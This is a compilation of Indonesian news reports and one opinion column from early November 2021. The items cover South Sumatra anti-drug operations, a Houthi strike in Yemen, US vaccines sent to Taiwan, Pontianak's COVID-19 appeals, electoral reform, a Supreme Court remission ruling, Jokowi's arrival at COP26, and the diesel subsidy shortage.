Palembang, FNN - Berbagai cara dilakukan pemerintah daerah dan Polda Sumatera Selatan untuk memberantas dan mencegah penyalahgunaan narkotika, psikotropika, zat adiktif, dan obat-obatan berbahaya (narkoba). Meskipun demikian, angka kasus narkoba tetap saja tinggi, terbukti setiap pekannya puluhan kasus berhasil diungkap jajaran Polda Sumsel. Berdasarkan data selama pekan terakhir Oktober 2021 ini, tim Ditresnarkoba Polda Sumsel bersama jajaran mengungkap 35 kasus penyalahgunaan dan peredaran gelap narkoba. Kabid Humas Polda Sumsel Kombes Pol Supriadi dalam keterangan persnya di Palembang, Senin (1/11) menjelaskan, dari pengungkapan kasus tersebut diamankan 42 tersangka pengedar dan pemakai barang terlarang itu dari sejumlah kabupaten/kota. Barang bukti yang disita dari para tersangka pengedar dan pemakai narkoba itu berupa sabu sabu 216,66 gram, ganja 68 batang, dan pil ekstasi 26 butir. Pengungkapan kasus dan pencegahan beredarnya narkoba tersebut bisa menyelamatkan setidaknya 2.382 anak bangsa dari jeratan barang terlarang itu. Melihat data tingginya kasus narkoba di provinsi dengan 17 kabupaten dan kota itu, jajaran Polda Sumsel pada 2021 berupaya lebih gencar lagi melakukan operasi pemberantasan penyalahgunaan dan peredaran gelap narkoba serta penegakan hukum secara maksimal. Direktur Reserse Narkoba Polda Sumsel Kombes Pol. Heri Istu menambahkan angka prevalensi atau angka kejadian penyalahgunaan dan peredaran gelap narkoba di provinsi ini tinggi, mencapai 5 persen melampaui batas normal hasil survei 2,4 persen. Berdasarkan hasil survei nasional yang dilakukan oleh Badan Narkotika Nasional (BNN) dan Lembaga Ilmu Pengetahuan Indonesia (LIPI), angka prevalensi kasus narkoba pada 2019 sekitar 2,4 persen. Melihat hasil survei tersebut, prevalensi narkoba di Sumsel mencapai 5 persen atau berada pada nomor dua nasional setelah Sumatera Utara yang prevalensi narkobanya mencapai 6,5 persen. Perlu dukungan semua pihak dan lapisan masyarakat menurunkan angka kasus penyalahgunaan dan peredaran narkoba. Karena tingginya angka prevalensi narkoba di provinsi ini, pihaknya berupaya menggencarkan kegiatan pencegahan dan pemberantasan barang terlarang itu. Untuk melakukan pencegahan, pihaknya terus mengedukasi masyarakat mengenai bahaya mengonsumsi narkoba bagi kesehatan, merusak mental dan masa depan. Untuk melakukan edukasi tersebut pihaknya menggandeng barbagai pihak dan membentuk komunitas 'virtual mang PDK' bersih dari narkoba (bersinar). Sedangkan untuk melakukan pemberantasan, pihaknya berupaya meningkatkan kegiatan operasi kepolisian yang dievaluasi perkembangannya setiap pekan. "Siapa pun yang terbukti menyimpan, memiliki, dan mengedarkan narkoba akan diproses sesuai dengan ketentuan hukum," ujarnya. Selain meningkatkan kegiatan operasi pemberantasan narkoba, piihaknya mengajak masyarakat untuk bersama-sama membasmi penyalahgunaan dan peredaran gelap barang terlarang itu. Jika masyarakat mengetahui di sekitar lingkungan tempat tinggal atau tempat lainnya ada kegiatan peredaran gelap dan penyalahgunaan narkoba, diminta untuk melaporkan kepada aparat kepolisian terdekat, ujar Direktur Reserse Narkoba. Gerakan P4GN bersama Gubernur Sumatera Selatan Herman Deru mengajak semua pihak, elemen masyarakat dan kelembagaan yang ada di provinsi dengan 17 kabupaten dan kota itu menggalakkan kegiatan pencegahan, pemberantasan, penyalahgunaan dan peredaran gelap narkoba (P4GN). Kegiatan P4GN perlu digalakkan oleh semua pihak, elemen masyarakat dan kelembagaan karena jumlah korban penyalahgunaan dan kasus narkoba terus mengalami peningkatan sehingga memerlukan gerakan bersama untuk mengatasi kasus tersebut. Pencegahan dan pemberantasan narkotika, obat-obatan berbahaya, dan zat adiktif (narkoba) tidak mungkin bisa dilakukan oleh pemerintah bersama aparat penegak hukum saja yang jumlah personelnya terbatas. Partisipasi dari semua pihak, elemen masyarakat dan kelembagaan memiliki peran besar dalam melakukan kegiatan P4GN dan menutup celah bagi siapapun untuk melakukan penyalahgunaan dan peredaran gelap barang terlarang itu, kata Gubernur. Sementara Kepala BNN Provinsi Sumsel Brigjen Pol.Joko Prihadi mengatakan untuk menggalakkan P4GN, pihaknya telah membentuk satuan tugas (Satgas) di masing-masing dinas atau instansi pemerintah daerah (organisasi perangkat daerah-OPD) dan semua desa melalui instruksi Bupati/Wali Kota setempat. Sedangkan untuk memerangi dan menjauhkan masyarakat dari narkoba, dilakukan penguatan mulai dari lingkungan keluarga, RT, dan RW dan deklarasikan 'Berani Tolak, Berani Rehab dan Berani Lapor', ujar Brigjen Pol.Joko. Kampung bersinar Kapolda Sumsel Irjen Pol.Toni Harmanto mengatakan kampanye bahaya narkoba perlu terus digaungkan dalam berbagai kesempatan dan melalui cara apapun. Untuk mencegah dan memberantas narkoba, semua pihak dan lapisan masyarakat diharapkan mau peduli dengan lingkungan sekitar dan berbuat sesuatu untuk melindungi generasi muda dari bahaya narkoba. Sebagai gerakan bersama untuk memberantas jaringan dan sindikat peredaran narkotika dan obat-obat terlarang, maka perlu semua komponen bersatu dalam memberantas narkoba. Kapolda Sumsel mengajak semua jajaran terus berupaya mengedukasi masyarakat untuk melawan narkoba. Semakin giat dan berupaya terus dalam mengatasi persoalan narkoba, mudah-mudahan provinsi ini khususnya Kota Palembang menjadi kota bersih dari narkoba (Bersinar). Wali Kota Palembang Harnojoyo berupaya mengembangkan kampung bersih narkoba (bersinar) untuk mencegah penyalahgunaan dan peredaran gelap narkoba. "Sekarang ini baru ada beberapa kampung bersinar di sejumlah kelurahan, jumlahnya akan terus dikembangkan hingga 107 kelurahan," ujar Harnojoyo. Kampung bersinar perlu terus dikembangkan untuk memaksimalkan kegiatan sosialisasi dan pemberantasan narkoba yang telah menyentuh berbagai lapisan masyarakat. Sosialisasi mengenai bahaya narkoba perlu digalakkan dengan berbagai cara sehingga dapat meningkatkan pemahaman dan kesadaran masyarakat untuk menjauhi barang terlarang itu. Kesadaran masyarakat mengenai bahaya penyalahgunaan narkoba perlu ditingkat sehingga memiliki daya tangkal yang kuat. Pengaruh narkoba masuk ke seseorang atau kelompok tertentu melalui berbagai cara, jika memiliki daya tangkal yang kuat pengaruh tersebut tidak dapat masuk. Melalui kampung bersinar, Wali Kota Palembang Harnojoyo mengharapkan program edukasi, sosialisasi, pembinaan, dan pemberantasan narkoba bisa berjalan maksimal untuk membentuk daya tangkal masyarakat yang kuat. (sws)

Rudal Houthi Hantam Masjid di Yaman, 29 Orang Jadi Korban

Kairo, FNN - Serangan rudal balistik dari kelompok Houthi yang menghantam sebuah masjid dan sekolah agama di provinsi Marib, Yaman, menewaskan dan melukai 29 orang, termasuk wanita dan anak-anak. Kabar itu disampaikan menteri informasi Yaman dalam sebuah pernyataan di Twitter pada Senin. Dua rudal balistik ditembakkan dalam serangan pada Minggu malam itu, kata kantor gubernur Marib. Belum ada klaim tanggung jawab dari kelompok bersenjata Houthi yang didukung Iran tentang serangan tersebut. Pertempuran antara tentara pemerintah dan Houthi telah meningkat dalam beberapa bulan terakhir. Perserikatan Bangsa-Bangsa (PBB) mengatakan sekitar 10 ribu orang terusir pada September oleh pertempuran di Marib, benteng terakhir pemerintah di bagian utara. PBB menyerukan adanya jalur untuk bantuan kemanusiaan. Perang, krisis ekonomi dan pembatasan impor di daerah-daerah yang dikuasai Houthi di Yaman telah menyebabkan situasi yang disebut PBB sebagai krisis kemanusiaan terbesar di dunia karena 16 juta orang terancam kelaparan. Pasukan koalisi pimpinan Arab Saudi mengintervensi Yaman pada Maret 2015 setelah Houthi menggulingkan pemerintah dukungan Saudi dari ibu kota Sanaa pada akhir 2014. Kelompok Houthi mengatakan mereka memerangi sistem yang korup dan agresi asing. Houthi pada Oktober mengklaim telah menguasai wilayah baru di provinsi kaya minyak Shabwa dan Marib. Intensitas serangan Houthi itu dianggap telah memperumit upaya perdamaian yang dilakukan dunia internasional. (sws)

AS Kirim 1,5 Juta Dosis Vaksin COVID-19 ke Taiwan

Washington, FNN - Amerika Serikat mengirim tambahan 1,5 juta dosis vaksin COVID-19 ke Taiwan, sehingga total vaksin yang disumbangkan oleh Washington ke pulau itu menjadi 4 juta dosis. Dosis vaksin Moderna itu dikirim dari Louisville, Kentucky pada Minggu (31/10) dengan penerbangan China Airlines milik Taiwan. "Vaksin kami tidak diberikan dengan pamrih" dan tidak disumbangkan untuk "mengamankan bantuan atau mendapatkan konsesi," kata pejabat pemerintahan Presiden Joe Biden. Pernyataan itu merujuk pada kritik bahwa China sedang mencoba untuk memperkuat pengaruh geopolitiknya melalui diplomasi vaksin. Pejabat AS itu menambahkan bahwa Taiwan adalah "mitra penting" dalam isu kesehatan global. Pemimpin Taiwan Tsai Ing-wen berterima kasih kepada AS dan mengatakan sumbangan vaksin menunjukkan bahwa dukungan AS untuk Taiwan "sangat kuat." "Berdasarkan dasar yang kuat dari persahabatan ini, Taiwan akan terus memperdalam kemitraan dengan Amerika Serikat di semua lini," kata dia dalam sebuah unggahan Facebook pada Minggu malam. AS sebelumnya memberikan 2,5 juta dosis vaksin ke pulau yang diklaim oleh China itu, menjadikan Taiwan salah satu penerima internasional pertama vaksin AS. Pada saat itu, para pejabat AS menuding China berusaha menghalangi pembelian vaksin oleh Taiwan karena alasan politik. Tudingan itu dibantah oleh Beijing. Jepang, Republik Ceko, Slovakia, Polandia, dan Lithuania juga telah menyumbangkan vaksin COVID-19 ke Taiwan, di mana sekitar 70 persen populasinya telah menerima setidaknya satu dosis, menurut media Taiwan. Hanya sekitar 30 persen dari 24 juta penduduk Taiwan yang telah divaksin lengkap. Di bawah tekanan untuk berbagi pasokan vaksin COVID-19 dengan seluruh dunia, AS telah menyumbangkan 200 juta dosis ke lebih dari 100 negara, kata Gedung Putih pada awal Oktober. Seperti kebanyakan negara yang tidak memiliki hubungan diplomatik formal dengan Taiwan, AS telah mencermati meningkatnya ketegangan dengan Beijing dengan waspada. Pemerintahan Presiden Joe Biden berjanji untuk meningkatkan hubungan dengan pulau itu. Menurut undang-undang AS, Washington diharuskan untuk memasok alat-alat pertahanan ke Taiwan. (sws)

Wali Kota Pontianak Imbau Masyarakat Tetap Waspada COVID-19

Pontianak, FNN - Wali Kota Kota Pontianak, Kalimantan Barat, Edi Rusdi Kamtono kembali mengimbau masyarakat setempat untuk tetap waspada terhadap pandemi COVID-19, meskipun jumlah pasien penderita penyakit tersebut di rumah sakit menurun akhir-akhir ini. "Saya imbau masyarakat tetap waspada walaupun jumlah pasien di rumah sakit sudah menurun. Namun kondisi darurat pandemi COVID-19 belum dicabut, sehingga tetap menerapkan protokol kesehatan dalam melakukan aktivitas," kata Edi Rusdi Kamtono di Pontianak, Senin. Dia menjelaskan, sebagai upaya menekan kasus COVID-19, Pemkot Pontianak dan berbagai pihak terus menggalakkan vaksinasi massal, yang ditargetkan capaiannya sebesar 80 persen di akhir tahun 2021. Data Dinas Kesehatan Kota Pontianak mencatat capaian vaksinasi di Kota Pontianak sudah 64,35 persen untuk vaksinasi pertama (V1), dan vaksinasi kedua (V2) sebesar 47,6 persen. "Dalam mengejar target tersebut maka capaian vaksinasi massal dalam sehari sekitar 3.500 hingga 4.000 masyarakat yang diberikan vaksin COVID-19," ujarnya. Edi menambahkan, kendala saat ini, yakni masih ada beberapa warga yang menganggap tidak perlu divaksin, kemudian ada yang belum layak karena penyakit bawaan, dan ada warga yang sedang di luar kota. Karena itu, menurut dia pihaknya terus melakukan sosialisasi kepada masyarakat akan pentingnya vaksinasi untuk menciptakan herd immunity atau kekebalan komunal. "Apalagi sekarang boleh dikatakan aktivitas di Kota Pontianak sudah berjalan normal. Hanya saja masih mengarah kepada recovery atau pemulihan akibat ada penyesuaian-penyesuaian dampak penerapan PPKM (pemberlakuan pembatasan kegiatan masyarakat)," katanya. Tetapi, menurut Edi, kalau melihat kondisi di lapangan, sudah tidak ada lagi pembatasan yang begitu ketat dan aktivitas masyarakat sudah berjalan normal. "Oleh sebab itu, selain meningkatkan imunitas, saya berharap kesehatan tetap menjadi hal yang harus kita jaga bersama, sehingga aktivitas untuk pemulihan ekonomi terus berjalan dengan penerapan protokol kesehatan," katanya. (sws)

Peneliti CSIS: Sistem Pemilu Proporsional Terbuka Perlu Dievaluasi

Jakarta, FNN - Peneliti Centre for Strategic and International Studies (CSIS) Arya Fernandes mengatakan bahwa pemerintah perlu mengevaluasi sistem pemilihan umum (pemilu) proporsional terbuka untuk mengurangi potensi penggunaan politik uang atau money politics. “Dalam banyak riset, ditemukan bahwa sistem proporsional terbuka itu memiliki potensi yang lebih besar dalam meningkatkan faktor penggunaan politik uang dalam pemilu,” kata Arya ketika memberi arahan diskusi dalam seminar bertajuk “Menimbang Sistem Pemilu 2024: Catatan dan Usulan” yang disiarkan di kanal YouTube CSIS Indonesia dan dipantau dari Jakarta, Senin. Berdasarkan temuan tersebut, Arya mendorong para pemangku kepentingan, khususnya pemerintah untuk mengkaji kembali seberapa besar kontribusi sistem pemilu proporsional terbuka dalam mengurangi potensi penggunaan politik uang dan potensi penggunaan berbagai cara lain yang dapat memengaruhi proses pemilu. Selain mengukur kontribusi sistem pemilu dalam mengurangi potensi penggunaan politik uang, Arya mengatakan bahwa CSIS telah menetapkan beberapa indikator lain yang penting untuk digunakan oleh tim yang melakukan evaluasi dalam melihat apakah sistem pemilu proporsional terbuka memiliki dampak yang baik atau buruk terhadap perpolitikan Indonesia. Indikator pertama adalah representasi atau keterwakilan. Faktor ini menjadi penting untuk membuat anggota dewan, seperti DPR RI atau DPRD, semakin dekat dengan masyarakat sehingga setiap aspirasi yang disuarakan masyarakat dapat langsung dieksekusi menjadi sebuah kebijakan oleh DPR RI. Selanjutnya, kata dia, adalah kemampuan sistem pemilu dalam meningkatkan kualitas dari calon yang terpilih. “Sistem yang baik itu juga sebaiknya berhasil meningkatkan kualitasi anggota DPR RI yang terpilih,” ucap dia. Kemudian, ujar dia, indikator selanjutnya kemampuan sistem pemilu dalam meningkatkan kelembagaan di partai politik. Melalui sistem pemilu yang baik, partai politik akan menjadi terkelola dengan baik, menjadi lebih modern, dan memiliki proses kaderisasi yang berjalan dengan baik. “Dengan demikian partai tidak seperti grup bola. Comot pemain dari grup yang lain,” kata Arya. (sws)

LPSK Sambut Baik Putusan MA Cabut PP Nomor 99 Tahun 2012

Jakarta, FNN - Wakil Ketua Lembaga Perlindungan Saksi dan Korban (LPSK) Edwin Partogi Pasaribu menyambut baik putusan Mahkamah Agung (MA) yang resmi membatalkan Peraturan Pemerintah (PP) Nomor 99 Tahun 2012. Menurut Edwin Partogi Pasaribu berdasarkan siaran pers yang diterima di Jakarta, Senin, PP Nomor 99 Tahun 2012 yang mengatur pengetatan pemberian remisi bagi pelaku tindak pidana korupsi, narkotika, terorisme, dan lainnya itu sepatutnya menjadi kewenangan hakim. Ia menilai tidak boleh ada hukuman tambahan di luar putusan hakim. Dengan begitu, apabila ada penghapusan hak narapidana, sebaiknya hal tersebut menjadi bagian dari putusan hakim. Sebelumnya, Majelis Hakim MA yang diketuai Supandi dengan hakim anggota Yodi Martono dan Is Sudaryono mengabulkan uji materiil yang dimohonkan mantan Kepala Desa Subowo dan empat orang warga binaan Lapas Kelas IA Sukamiskin Bandung. Pemohon menilai ada sejumlah pasal dalam PP Nomor 99 Tahun 2012 yang bertentangan dengan undang-undang berlaku, di antaranya adalah Pasal 34 A ayat (1) huruf a dan b, Pasal 34A ayat (3), dan Pasal 43 A ayat (1) huruf a, Pasal 43A ayat (3) yang bertentangan dengan undang-undang berlaku. Dalam putusannya, majelis hakim menimbang fungsi pemidanaan tidak hanya untuk memenjarakan pelaku agar jera, tetapi juga usaha rehabilitasi dan reintegrasi sosial yang sejalan dengan model keadilan restoratif. Karena itu, hak untuk mendapatkan remisi harus diberikan bagi semua warga binaan, kecuali hal itu dicabut berdasarkan putusan pengadilan. Edwin pun memiliki pendapat yang sama. Menurutnya, konsep sistem pemidanaan diperuntukkan dalam menyiapkan terpidana kembali ke masyarakat. “Penghuni terbesar lapas adalah terpidana narkorba. Terpidana narkoba sebagian merupakan pemakai. Kalau disyaratkan sebagai justice collaborator (JC), maka hal itu akan memberatkan mereka, karena narkoba jaringan tertutup dan melibatkan mafia, termasuk oknum. Penjara kita mengalami overcrowded (kepadatan penghuni),” ujar Edwin. Justice Collaborator (JC) merupakan seorang pelaku tindak pidana yang bersedia bekerja sama dengan aparat penegak hukum untuk membongkar kejahatan atau kasus yang dinilai rumit dan berskala besar. Khusus bagi JC itu, kata Edwin, ada Pasal 10A Undang-Undang Perlindungan Saksi dan Korban yang mengatur mengenai penanganan khusus dan penghargaan atas kesaksian yang diberikan. “Pembebasan bersyarat, remisi tambahan, dan hak narapidana lain merupakan bentuk penghargaan bagi JC atas kesaksian yang mereka berikan,” kata Edwin pula. Namun dalam praktiknya, ujar Edwin, PP Nomor 99 Tahun 2012 menghambat implementasi pemenuhan hak narapidana yang diatur dalam Pasal 10A UU Perlindungan Saksi dan Korban. “Terjadi penyimpangan atau kolusi antara terpidana dengan oknum aparat untuk mendapatkan status JC, agar narapidana bisa mendapatkan haknya. Anehnya lagi, bila pelaku tunggal, juga bisa diterbitkan status JC,” ujar Edwin pula. Ia mengatakan berdasarkan pengalaman LPSK, sebagian kepala lembaga pemasyarakatan lebih merujuk PP ini dibandingkan Pasal 10A yang juga mengatur hak-hak narapidana bagi JC. Edwin juga mengatakan Kementerian Hukum dan HAM saat ini sedang menyusun peraturan turunan dari Pasal 10A Undang-Undang No. 31 Tahun 2014. Dengan demikian, pencabutan PP No. 99 Tahun 2012 sejalan dengan penyusunan tersebut. Oleh karena itu, ia meminta Pemerintah tidak ragu untuk melaksanakan putusan MA tersebut. (mth)

Presiden Joko Widodo Tiba di Glasgow untuk Hadiri KTT COP26

Jakarta, 01/11 (ANTARA) - Presiden RI Joko Widodo (Jokowi) tiba di Glasgow, Skotlandia, untuk menghadiri KTT Pemimpin Dunia (Conference of Partites/COP) 26 mengenai perubahan iklim, setelah bertolak dari KTT Kelompok 20 (G20) Roma, Italia. Pesawat Garuda Indonesia yang ditumpangi oleh Presiden Joko Widodo dan rombongan mendarat di Bandara Internasional Glasgow Prestwick di Glasgow, Skotlandia, pada Minggu (31/10) pukul 21.40 waktu setempat, atau Senin Waktu Indonesia Barat (WIB). Sebagaimana keterangan dari Biro Pers Sekretariat Presiden, setibanya di Glasgow, Presiden Jokowi disambut oleh Duta Besar RI untuk Britania Raya merangkap Republik Irlandia dan International Maritime Organization (IMO), Desra Percaya dan Atase Pertahanan Republik Indonesia di Britania Raya, Kolonel Czi Ranon Sugiman, serta pejabat pemerintahan setempat. Presiden Jokowi langsung menuju rangkaian kendaraan yang telah disiapkan untuk kemudian menuju hotel tempatnya bermalam selama berada di Glasgow. Setibanya di hotel, Presiden Jokowi disambut oleh Menteri Lingkungan Hidup dan Kehutanan Siti Nurbaya, dan para pejabat KBRI London. KTT Pemimpin Dunia COP26 akan berlangsung pada tanggal 1-2 November 2021. KTT ini dipimpin oleh Perdana Menteri Inggris, Boris Johnson dan dihadiri 121 kepala negara dan kepala pemerintahan. Presiden menegaskan posisi Indonesia dalam isu perubahan iklim adalah sangat konsisten. Menurutnya, Indonesia akan terus bekerja keras memenuhi komitmen yang telah dibuat. “Kita tidak ingin ikut dalam retorika yang pada akhirnya tidak dapat kita jalankan,” kata Presiden Jokowi dalam keterangannya di Bandara Soekarno-Hatta, Tangerang, Banten, pada Jumat (29/10), sebelum keberangkatan kunjungan kerja luar negeri. Dalam kunjungannya ke Inggris Raya ini, Kepala Negara juga akan melakukan temu bisnis dengan pimpinan dunia usaha Inggris yang telah berinvestasi dan yang berencana memperluas investasinya di Indonesia, serta menggelar sejumlah pertemuan bilateral. Turut mendampingi Presiden dalam penerbangan menuju Glasgow antara lain Menteri Koordinator Bidang Perekonomian Airlangga Hartarto, Menteri Koordinator Bidang Kemaritiman dan Investasi Luhut Binsar Pandjaitan, Menteri Luar Negeri Retno Marsudi, Menteri Keuangan Sri Mulyani, Menteri BUMN Erick Thohir, dan Sekretaris Kabinet Pramono Anung. (mth)

Kegagalan Penyaluran Solar Subsidi Menjadi Masalah Serius Bagi Pemerintah Jokowi

Oleh : Salamuddin Daeng *) Kelangkaan Solar Mengapa Terjadi? Kelangkaan BBM jenis solar dalam beberapa pekan terakhir telah menimbulkan keresahan masyarakat. Kelangkaan solar terutama solar bersubsidi yang merupakan kebutuhan angkutan umum, angkutan sembako, transportasi umum darat dan laut, telah menimbulkan kepanikan. Media massa memberitakan ribuan kendaraan antre berjam jam di berbagai wilayah tanah air, di Sumatera, Jawa dan Kalimantan serta Sulawesi agar dapat memperoleh jatah solar subsidi. Berbagai spekulasi muncul mengenai penyebab kelangkaan solar. Para pengamat migas ada yang menyatakan bahwa kelangkaan solar subsidi ini dikarenakan oleh kuota yang terbatas. Ada juga yang berpandangan bahwa ini bukan masalah kuota, namun karena sistem penyaluran solar subsidi yang salah. pembagian kuota solar berdasarkan SBPU yang dilakukan oleh Badan Pengatur Hilir (BPH) Migas menjadi penyebab antrean panjang di SPBU dan memicu kepanikan di tempat tempat tertentu. Namun ada juga pihak yang berpandangan bahwa ada upaya untuk membesar besarkan isu ini karena ada kelompok yang menghendaki impor solar ditambah. Pihak Pertamina sendiri menyatakan bahwa stok BBM Solar subsidi dalam keadaan cukup. Sepanjang semester I 2021, tercatat sebesar 37.813 kililoter per bulan dan terus meningkat sehingga mencapai 17 persen pada September atau sekitar 44.439 kiloliter. Sementara BPH migas menyatakan telah melakukan relaksasi kuota solar SPBU. Kemungkinan besar maksudnya agar solar dipindahkan dari SPBU yang sepi ke yang rame. Sementara sistem kuota solar per SPBU tetap sama dan peraturan BPH tentang ini tidak diubah, padahal ini juga biang masalah kelangkaan. Namun yang jelas kelangkaan solar masih berlangsung dan masih terus menghantui masyarakat, meskipun konon katanya kalau dibandingkan dengan kuota solar seluruh tanah air, tampaknya memang kuota solar dalam keadaan cukup. Namun antrean solar masih saja berlangsung. Jika ini terus berlanjut maka bisa menjadi masalah politik dan sosial dan pemerintah dapat disalahkan karena tidak dapat menjalankan kewajibannya sebagaimana yang diamanatkan UU dengan baik dan benar. Subsidi itu Kewajiban Pemerintah Subsidi BBM termasuk solar adalah amanat UU Anggaran Pendapatan dan Belanja Negara (APBN). dengan demikian maka suksesnya penyaluran subsidi merupakan indikator keberhasilan pelaksanaan UU APBN. sebaliknya kegagalan dalam penyaluran subsidi merupakan kegagalan dalam pelaksanaan UU APBN. lebih jauh lagi kegagalan dalam penyaluran subsidi pada tingkat tertentu merupakan pelanggaran terhadap UU APBN. Apa konsekuensinya? Presiden dan para pembantu presiden adalah pelaksana UU APBN. mereka adalah eksekutif yang bertanggung jawab penuh dan wajib melaksanakan UU. Jika presiden terbukti melanggar UU APBN makan presiden bisa dimakzulkan. Secara non formil kegagalan pemerintah dalam menyalurkan subsidi BBM dapat memicu gejolak sosial di masyarakat, dan bisa berujung pada protes massa skala luas kepada pemerintah. Secara khusus subsidi BBM diatur dalam UU APBN Nomor 9 Tahun 2020 Tentang Anggaran Pendapatan dan belanja Negara Tahun Anggaran 2021. Dalam Pasal 16 ayat (1) Program Pengelolaan Subsidi dalam Tahun Anggaran 2O2l direncanakan sebesar Rp175.350.382. 161.000,00 (seratus tujuh puluh lima triliun tiga ratus lima puluh miliar tiga ratus delapan puluh dua juta seratus enam puluh satu ribu rupiah). Selanjutnya ayat (2) Anggaran untuk Program Pengelolaan Subsidi sebagaimana dimaksud pada ayat (1) dilaksanakan sesuai dengan ketentuan peraturan perundang-undangan. dan ayat (3) Anggaran untuk Program pengelolaan Subsidi sebagaimana dimaksud pada ayat (1) dapat disesuaikan dengan kebutuhan realisasi pada tahun anggaran berjalan berdasarkan asumsi dasar ekonomi makro, perubahan parameter, dan/atau pembayaran kekurangan subsidi tahun-tahun sebelumnya. selanjutnya ayat (4) Ketentuan lebih lanjut mengenai rincian program Pengelolaan Subsidi dalam Tahun Anggaran 2O2l sebagaimana dimaksud pada ayat (1) diatur dalam Peraturan Presiden. Dalam penjelasan pasal 16 ayat Ayat (2) bahwa Program pengelolaan subsidi dilaksanakan secara efektif, efisien, dan tepat sasaran guna memberikan manfaat yang optimal bagi pengentasan kemiskinan dan ketimpangan pendapatan masyarakat. Mengenai fleksibilitas kenaikan anggaran subsidi BB dijelaskan dalam Pasal 17 dinyatakan bahwa ayat (1) Dalam hal realisasi PNBP Migas yang dibagihasilkan melampaui target penerimaan dalam APBN yang diikuti dengan kebijakan peningkatan subsidi Bahan Bakar Minyak (BBM) dan Liquified Petroleum Gas (LPG), Pemerintah dapat memperhitungkan persentase tertentu atas peningkatan belanja subsidi BBM dan LPG terhadap kenaikan PNBP Migas yang dibagihasilkan. ayat (2) Ketentuan lebih lanjut mengenai tata cara perhitungan persentase tertentu atas peningkatan belanja subsidi BBM dan LPG terhadap kenaikan PNBp Migas yang dibagihasilkan sebagaimana dimaksud pada ayat (1) diatur dengan Peraturan Menteri Keuangan. Berdasarkan UU APBN di atas maka tanggung jawab pengelolaan subsidi solar ada di tangan pemerintah baik dalam menetapkan volume solar subsidi, nilai subsidi setiap liter solari, menentukan alokasi kuota solar bagi setiap wilayah atau setiap SPBU (melalui peraturan BPH migas). Jika terjadi kesalahan atau kekeliruan dalam pengaturan tersebut maka maka akan membuka peluang kelangkaan solar atau kekacauan lainnya dalam pengelolaan solar bersubsidi. Gagal Mengelola Solar Bersubsidi Solar subsidi sebetulnya merupakan salah bentuk tanggung jawab negara dalam menjamin hajat hidup orang banyak. Subsidi konon merupakan pelaksanaan dari amanat pasal 33 UUD 1945. selain itu subsidi solar sebagai strategi pemerintah dalam mengendalikan harga barang dan jasa atau inflasi. Dengan adanya subsidi maka diharapkan stabilitas ekonomi dan sosial akan lebih terjamin. Apa definisi subsidi menurut UU APBN Nomor 9 Tahun 2020 Tentang Anggaran Pendapatan dan belanja Negara Tahun Anggaran 2021 menyebutkan dalam pasal 1 ayat (12) Program Pengelolaan Subsidi adalah pemberian dukungan dalam bentuk pengalokasian anggaran kepada perusahaan negara, lembaga Pemerintah, atau pihak ketiga berdasarkan peraturan perundang-undangan yang berlaku untuk menyediakan barang atau jasa yang bersifat strategis atau menguasai hajat hidup orang banyak sesuai kemampuan keuangan negara. Dengan demikian kegagalan dalam mengelola solar subsidi, akan menjadi kegagalan pemerintah dalam melaksanakan UU APBN. tidak hanya itu kegagalan dalam mengelola subsidi solar berpotensi menimbulkan pelanggaran terhadap UUD. Jika itu terjadi maka presiden bisa dimaksudkan atau bisa diberhentikan di tengah jalan. Pertanyaannya mengapa pengelolaan solar subsidi bisa gagal? ada beberapa kemungkinan di antaranya : (1) Nilai subsidi solar yang memang sangat kecil. Seberapa besar subsidi solar yang diberikan oleh pemerintah ? Subsidi tetap solar hanya Rp500/liter. Nilai subsidi solar lebih rendah dibandingkan tahun lalu. (tahun 2020: Rp1.000/litert). jika dikalikan dengan volume solar subsidi sebanyak 15,8 juta kiloliter, maka nilai solar subsidi hanya Rp. 7,9 triliun atau hanya 4.5 persen dari keseluruhan nilai subsidi yang disediakan UU APBN 2021. Akibatnya nilai subsidi tidak lagi sesuai dengan beban biaya yang diperlukan untuk menyediakan solar. (2). Pertamina sebagai pelaksana pengadaan dan distribusi solar subsidi kemungkinan besar tidak memiliki uang untuk membiayai pengadaan solar dan biaya distribusinya. Perusahaan Pertamina bisa jadi menderita kerugian akibat peningkatan harga minyak dalam beberapa bulan terakhir, sehingga menimbulkan beban biaya yang sangat besar bagi pengadaan solar subsidi. Sementara solar subsidi sendiri baru akan dibayarkan nanti oleh pemerintah dan sekarang hanya sebagai piutang. (3) Harga solar subsidi dengan harga solar non subsidi yang terpaut sangat jauh. Hal ini menimbulkan moral hazard berbagai pihak yang memiliki kota solar. Mereka dapat menjual solar subsidi kepada pihak yang tidak berhak seharga solar non subsidi. Selain itu konsumen solar subsidi dapat mengambil kentungan secara ilegal dengan menimbun solar subsidi. Atau kemungkinan lain adalah orang orang yang tidak berhak seperti penguasa angkutan sawit, angkutan tambang khususnya tambang batubara menggunakan solar subsidi. Hal ini perlu diselidiki aparat berwajib. Jika memperhatikan kemungkinan di atas sebagai penyebab kelangkaan solar, maka dapat dipastikan kelangkaan solar tidak ada jalan keluar yang sifatnya permanen. kelangkaan solar terbuka peluangnya terjadi secara lebih masiv, dikarenakan untuk mengatasinya butuh perubahan UU APBN dan persetujuan DPR yang kemudian diikuti dengan peraturan presiden untuk menambah nilai subsidi. Selanjutnya pertamina harus dapat mengatasi kesulitan keuangan dengan menagih piutang kepada pemerintah secepatnya. namun tampaknya ini juga tidak mungkin. Jalan keluar lain yakni dengan menaikkan harga solar subsidi agar harganya tidak terpaut jauh dengan solar komersial, namun hal ini juga tidak mungkin dilakukan ditengah kesulitan ekonomi masyarakat dan apalagi pemerintah tak akan ada keberanian untuk itu. Jadi ya siap siapkan saja diri, segala kemungkinan dapat terjadi dalam situasi ekonomi, politik dan kondisi sektor energi khususnya BBM di dunia yang sangat dinamis sekarang ini. Presiden Jokowi bisa saja nanti dianggap gagal mengelola subsidi atau gagal melaksanakan UU APBN, atau gagal melaksanakan UUD 1945. bisa saja kan? *) Peneliti AEPI

RPLC-19 Sebar Samilakor Kepada Milenial

